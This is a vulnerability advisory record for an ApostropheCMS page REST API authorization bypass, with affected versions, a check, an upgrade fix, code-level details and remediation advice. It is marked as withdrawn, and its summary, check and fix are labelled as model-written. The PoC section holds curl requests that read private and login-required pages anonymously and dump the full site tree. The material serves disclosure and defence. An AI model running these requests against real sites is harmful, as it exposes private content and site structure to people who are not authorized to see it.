---
id: "CVE-2026-113670"
kind: "vulnerability"
aliases: ["CVE-2026-113670", "GHSA-2j32-q6rx-h844"]
title: "ApostropheCMS: Page REST API authorization bypass"
severity: "medium"
cvss: 5.300000190734863
epss: 0.003269999986514449
exploited: false
status: "withdrawn"
category: "package"
products: [{"name": "apostrophe", "fixed": ["4.33.0"], "affected": "< 4.33.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophecms", "cwe-863", "headless-cms", "node", "package", "self-hosted"]
not_affected_if: ["no-private-or-loginrequired-pages", "version-4.33.0-or-later"]
published_at: "2026-10-20T18:13:08+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:21+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-2j32-q6rx-h844", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113670", "first_seen_at": "2026-10-23T21:57:21+00:00"}]
---

# ApostropheCMS: Page REST API authorization bypass

ApostropheCMS's core page REST API returns full page documents, including private and login-required pages, to anonymous users and low-privilege contributors because it skips the permission checks. An attacker can read non-public page content and the full site structure, and contributors can read admin-only page types and protected fields.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:apostrophe affected < 4.33.0 fixed 4.33.0

## How to check

Check the installed version: npm ls apostrophe
Anonymously request GET /api/v1/@apostrophecms/page?all=1 on your site and see whether private or login-required pages appear.

## Fix

Upgrade the apostrophe npm package to 4.33.0 or later.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-2j32-q6rx-h844
- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113670

## From the sources

**Summary**
The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.

**Details**
`packages/apostrophe/modules/@apostrophecms/page/index.js`:
- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.
- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.
- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.
- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.

**PoC**
```
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
#         "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}

# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1"        # → 200, full tree

# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz"   # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"   # → 403
```

**Impact**
Unauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic.

**Remediation** — Remove `.permission(false)` from `getOne`/`all` or re-apply the type's `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
